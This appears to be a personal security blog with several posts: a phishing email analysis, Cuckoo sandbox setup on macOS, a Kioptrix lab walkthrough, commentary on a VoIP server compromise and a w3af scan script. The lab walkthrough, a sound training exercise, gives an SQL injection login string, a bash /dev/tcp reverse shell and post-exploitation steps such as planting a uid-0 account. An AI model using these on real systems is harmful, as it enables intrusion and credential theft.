Skip navigation

So it’s been a while since my last post. I blame moving around the world for that.

Anyway…I’ve been getting some interesting emails. It’s the usual fair but I’ve also been getting a lot of UPS/Wire transfer failed type emails. This one piqued my interest because there was no .zip attachment with malware. So I thought I’d dig a little.

The subject line was “Re: Wire Transfer Confirmation” which was strange as I haven’t ever mailed anyone about my wire :)

 

 (yes, I use Mutt…what of it ?)

Here’s the contents of the email…

 

 

Nothing really interesting. I was expecting to find a .zip file as an attachment with some boring malware in it. But all I got was the HTML file. Fine…let’s take a look at that.

 

 

 

 

 

 

 

 

Right. Now we’re getting somewhere. It’s clearly obfuscated Javascript, so it’s also probably malicious. We like malicious, obfuscated Javascript !

So next we fire up Remnux and JSDetox. You could have just as easily done this with JSUnpack, but hey…it’s a nice sunny day outside so let’s try something a little different.

 

Paste that bad boy into JSDetox

 

 

 

 

 

 

 

 

Great. We can now format it and make it a little easier to read. For some reason the analyse action didn’t work on the code and I complete blanked on checking the console output.

No matter though, let’s execute the code and see where this little rabbit takes us…

 

 

 

 

 

Awesome. It’s attempted to run window.eval() which is always full of fun. Let’s take a look at the code there to see what exactly it’s trying to run.

 

Bazinga !! A very nice document.write() containing a malicious iFrame. I bet you that will be loading something fun. There are a bunch of online tools to look at these sorts of URLs. You could even fire up a virtual machine and see what happens that way. I haven’t had coffee yet, so a quick scan with URLQuery and here are our results:

 

 

 

 

Just as I thought. An exploit kit. I thought I’d post a quick entry on this sort of thing as there is a lot of this stuff going around at the moment. Malicious attachments no longer need to be your traditional EXE or compressed archive of goodness. I’ve seen similar emails coming from LinkedIn and the likes. Blackhole is very prevalent these days and is a rather nasty piece of work if you don’t have a decently patched machine. And don’t go and get all high and mighty with “but I run a Mac” blah blah blah…your days are numbered.

Now, off to find that 0xC0FFEE

 

./m

Unless you’ve been living under a rock for the last few months, chances are you’ve heard of and hopefully played with Cuckoo. It’s a very awesome piece of software that came out of the Google Summer of Code project run by the Honeynet Project. While not officially supported, it is entirely possible to run Cuckoo under Mac OSX. Here are a couple of the catches or hurdles I worked through getting it working…

 

*** IMPORTANT ***

Python 2.7 vs. Python 2.6

This took me ages, despite even Claudio (one of the guys responsible for Cuckoo) saying “hey Matt, use Python 2.6″. I blame it being 2am.

So yeah…whenever you want to use Python, for the love of all the biscuits, use

/usr/bin/python2.6

This will save you many, MANY hours of hair pulling.

 

Installing the Virtual Box SDK

You’ll need this installed for the python bindings. I didn’t find any documentation on this so a little (ok, a lot) of Googling led me down to this little gem.

sudo VBOX_INSTALL_PATH=/Applications/VirtualBox.app python ./vboxapisetup.py install

This will ensure that the Virtual Box Python bindings get installed into the right place (at least in my experience).

 

That F&^%ing xpcom error

If you get an error that looks like so:

 

 

 

 

it means Python can’t find the SDK bindings you installed previously. At first I thought it was a problem with one of the exports (PYTHON_PATH vs. PYTHONPATH) which I eventually figured out to be the following:

export PYTHONPATH=/Applications/VirtualBox.app/Contents/MacOS/sdk/bindings/xpcom/python

With that done you should be able to fire up Cuckoo.

 

python-magic

This one caught me out a little. The Cuckoo documentation pointed out that I should be using the “file” source from http://www.darwinsys.com/file/. For some reason I didn’t think to actually do this (again, I blame it being 1am). The file source contains a python sub-directory which contains the required python-magic libraries.

 

That’s pretty much it. My Cuckoo instance is up and running. I just seem to be having problems with SSDeep crashing but I can live without that for the time being.

*** SPOILER ALERT ***   *** SPOILER ALERT ***   *** SPOILER ALERT ***   *** SPOILER ALERT ***

It’s no secret that I like a challenge and I recently came across the Kioptrix series of challenge VM’s. This is a short and simple way to go from simple web access to root on the box. I’m sure there are other ways to do this, but this is how I did it (with a little help from Sagi).

I’m not going to cover nmaping the host suffice to say there are other ports open. Our main area of interest was the web application login:

 

 

 

 

Awesome. A login page. It’ll probably be talking to a backend database system. There could be an SQL injection vulnerability so let’s plugin the most basic combination to test…

username: admin’ or 1=1 –

note: it’s likely to be MySQL (being a Linux server) so don’t forget the trailing slash after the final –

and what do you know…no errors but we do get a “admin” page with what looks to be a simple ping utility.

 

 

 

So this is likely to be calling a system process to do the actual leg work so let’s test that with a simple command injection like so:

 

 

 

And yup, sure enough…we can see the output from the whoami and pwd commands…

 

 

 

 

 

 

 

That’s a bad thing…it means we can execute commands on the server with the rights that the Apache web server is running as (in this case the apache user which is likely to be a low privilege user). So what’s our next step ? Well, we’ll want to try and get a basic shell on the server, so let’s find the nc binary and start up a listener for access..

 

 

 

 

 

 

 

So..no nc binary for some reason. Ok…what’s our next option ? How about good old bash ? Awesome. So let’s first up a listener for the netcat on our local machine.

client: nc -l -p 5000

server: /bin/sh 0</dev/tcp/192.168.16.128/5000 1>&0 2>&0

The server will simply execute that little bit of Bash redirect shenanigans and shovel a little shell out to our waiting netcat listener on 192.168.16.128 (port 5000). This will give us a non-interactive shell on the remote server. This is important as it means we can’t run interactive commands like vim etc.

 

 

 

It’s worth noting that your browser will continue to say “loading” or “connecting” while this is working as the command hasn’t completed. If you head over to your listener window, you should be able to interact with the server.

 

 

 

 

 

Awesome..we have a simple shell on the server and we can see that we’re running as the apache user. What I did next (but didn’t document) was run the uname command and get the running kernel version. From there it’s a simple case of finding and testing a local root exploit that will work with this particular kernel. In this case we wanted something for 2.6.9 which I found and have included here. linux-sendpage

Basically this is a null pointer deference exploit (CVE-2009-2692) which you can read up on here. I’m not an expert on Linux kernel exploits so I’ll leave this up to the reader to research.

Now I probably did this the long way around, but my thinking here was what if there were no dev tools on the box so I couldn’t build the exploit so I simply built it on my box and used the awesome little woof tool to get it onto the remote box…

 

 

 

 

 

Now just simply run the exploit on the remote box and hope that it doesn’t completely hose the system  :)

 

 

 

 

 

 

 

 

 

 

 

 

 

That’s it…root :) Job done.

You can now add users, rm -fr / or whatever it is that your heart desires.

Personally I did the following (which is messy and very likely to get you caught by the admins).

  • add a new user “matt” with uid and gid set as “0″ (a little sed magic on /etc/passwd)
  • didn’t clean up the log files (web and user logs)
  • didn’t rootkit the box (I don’t have a decent, trusted rootkit)
  • checked all ~/.bash_history and ~/.mysql_history files for interesting tidbits
  • grabbed /etc/passwd and /etc/shadow to run through JTR
  • checked all files in the web root for useful info (in this case database creds)
  • used mysqldump to dump all the database info to a file for review (using pilfered creds)

That’s about it really. That’s the quick and dirty way to get root on this system. I’m now going to look into any other ways to get it done. I’m sure there are other services etc. that could be exploited.

If there are any comments or ideas…let me know

 

./mle

<DISCLAIMER>

I am in no way trying to poopoo the work done by the author of this post. I really like when people come out and show what they found and how they fixed things. I also didn’t attempt to contact the author as I’m sure he’s been inundated with emails/comments on what he woulda/shoulda/coulda done. My excuse is I was up one evening and couldn’t sleep. As such I was catching up on some reading (no downtime, ever) and this was one of the articles I read. I thought I’d go through the various comments and offer my rather uneducated opinions…

</DISCLAIMER>

The blog post in question.

 

Jan  7 15:05:31 asterisk userhelper[305]: running ‘/sbin/reboot -f’ with root privileges on behalf of ‘root’

 

At this point, I’d assume that the entire server has been compromised. This is the point I would have (if possible), shut the server down and move to a DR site or backup server to provide the services required. The fact that someone other than yourself or one of your trusted sys-admins has rebooted the server from the root account means you no longer control the server. From here I would have started by looking at the various shell history files to see what else had been run.

I’m a little curious how the attackers got root or even system level access to the system by simply “hacking” the Zap/Skype trunks available on the system. In my fairly limited experience in VOIP compromises, the attackers have mostly found loopholes in the dial plan and used these loopholes to make international calls.

Next, I decided to check the /etc/password file to see if the hacker created any backdoor user accounts. I didn’t see any, however I did notice that nobody account had this:

nobody:x:99:99:Nobody:/:/bin/bash

Here’s a good example of where something like OSSEC would have come in handy. OSSEC would have notified the sys-admins of the change to the system accounts as it happened (IF the mail system notification was configured and not disabled by the attacker).

 

So if the ‘nobody’ account is able to get bash-level access, they can view and modify any Asterisk file! That means access to the SIP passwords and the ability to launch the Asterisk CLI! From the Asterisk CLI you can do just about anything, including make outbound calls or even delete critical Asterisk files.

I find this hard to believe. Then again I haven’t played with an Asterisk installation in ages. I’m a big fan of running services under their own account. This would have mitigated this issue somewhat. The attacker would have had to have changed the shell of the user running the Asterisk service.

 

Looking at the ‘history’ command output for user ‘root’ I saw these two suspicious commands executed:
333  su aster
334  su nobody

 

This is another area where OSSEC would have saved the day with its watcher service and email notification. The su action would have triggered an alert to the sys-admins notifying them of the action. Hopefully the sys-admin would have realized something was up and done a little digging.

 

Surprisingly, the hacker didn’t clean up their history. Or if they did, they forgot to clean up these two commands. I don’t have an ‘aster’ account, so that command fails, but obviously the ‘su nobody’ works, causing the root user to login as ‘nobody’. The beauty of using the ‘nobody’ account is that all the commands executed by the hacker doesn’t show up in the ‘root’ admin account that most IT admins monitor. At that point I could no longer see the commands the hacker was executing under the ‘nobody’ bash shell. Even when I logged in as ‘nobody’ (after changing password) I couldn’t see any history.

 

There are a number of ways to ship bash command history off to a remote syslog server. These logs should be reviewed regularly. That said, this is probably a fairly difficult thing to do if you’re  a small IT shop. A properly configured SEIM installation with alerts for commands being run by strange or system users would have caught this as well.

 

Interestingly, the 1.call file the hacker chose to do was very simplistic. It didn’t do anything other than dial the number and then hang around for 36000s doing nothing. No prompts played or anything. Obviously, if someone answered the call, they’d likely hang up in 5-10s. It seems as though the hacker was making prank calls, since their script didn’t do anything. What sort of motive is that?

 

My only guess here is it’s probably some kind of premium rate number for incoming calls. I’ve seen this happen locally, along with the “free international calls” hacks in the past. It’s unfortunate that people/hackers are no longer interested in simply showing their skills, it’s all about the money now and if this was anything other than a premium rate scam of some kind, I’d be very surprised.

 

Lessons Learned:

  1. Never allow SSH from the outside, even though it is convenient to remotely administer that way. If you MUST have SSH open to the outside, you should consider using Fail2Ban, which blocks IP addresses . It even supportsblocking hackers brute-force attacking your SIP credentials should you have port 5060 open to the Internet for remote phones.
  2. Make sure you regularly check your /etc/passwd and /etc/shadow to ensure no new accounts and that accounts don’t have /sbin/bash access (except those you know about, such as ‘root’)
  3. Use LogWatch to email you daily reports of what’s happening on your Asterisk box, such as logins, failed SSH attempts, etc.

 

1. If only life and system administration were that simple. In the real world, this isn’t really an easy one to sell. Personally I change what port SSH listens on along with a firewall burst rate limiter and fail2ban. That along with SSH key authentication instead of simple password authentication should be enough.

2. OSSEC file watcher with email notification should resolve this issue quite nicely. It’ll also alert the sys-admin should new packages be installed etc..

3. While daily reports are great, I’ve found that if you receive them daily and they look very similar, you will tend to skim read them and eventually ignore them altogether. A better option would be to be emailed only when things look wrong or change unexpectedly.

 

I’m not 100% sure yet if there is still a rootkit on the Linux box. Although there are anti-virus utilities for Linux, I am loathe to put anti-virus on a production PBX if it stays resident in memory and uses CPU cycles.

 

He’s absolutely right here. I’d go with either rkhunter or chkrootkit here. Both of these tools can be run and updated from Cron which would mean little interaction from busy sys-admins. Also the lack of a daily report from either tool could be a red flag that something is up…

 

Update:
Found this interesting error in the logs:
zdump[27161]: error: Bind to port 10001 on 0.0.0.0 failed: Address already in use.

 

This should have been stopped by a local firewall running on the system. I had a system once that was compromised via SSH (a story for another time) and the attackers had dropped a SSH scanner which didn’t work on account of the egress filtering in place on the system. Similarly this attack should have been stopped by a firewall filtering incoming connections to “unnecessary” or unknown services.

 

Looking through to comments I see many people mention OSSEC and Rkhunter which makes me feel a little warm and fuzzy inside. I know this is all probably a little redundant but it was on my mind. I also know that securing systems may be on the back burner for many system administrators who are not only pressed for time, but also money. I’ve been in that boat a few times. These days it’s difficult to keep on top of systems and their state of (in)security which makes a proper monitoring system all the more important, even if it’s a simple homegrown solution to begin with.

So the very awesome scanner w3af can be scripted. This is very handy if you want to automate scans of a particular site. There’s even plugins to mail the output to you which is even cooler. It’s been a while since I’ve played with w3af so this isn’t going to be a post about the tool. I just wanted to share this little script which I’m currently tinkering with. As part of an appsec assessment you’ll want to run a couple of automated scans against your target before digging into the manual stuff. There are a few options out there and w3af should definitely be one of them.

Anywho..here’s the script file:

# super scan with w3af
plugins
discovery webSpider,hmap,fingerprint_os,fingerprint_WAF,findvhost,allowedMethods,robotsReader
audit dav,formatString,globalRedirect,osCommanding,sqli,xpath,xss,xst
output console
output htmlFile
output config htmlFile
set fileName /tmp/w3afreport.html
back
back
target
set targetOS unix
set targetFramework php
set target http://wwww.zonbi.org
back
start
And that's pretty much it. You will want to adjust things like targetOS, targetFramework and obviously target. This script will dump an HTML report into /tmp when it's done.
To fire off the scan you'll just pass w3af_console the -s option like so:
w3af_console -s superduperpooperscan.w3af
Pretty handy I think.

peas...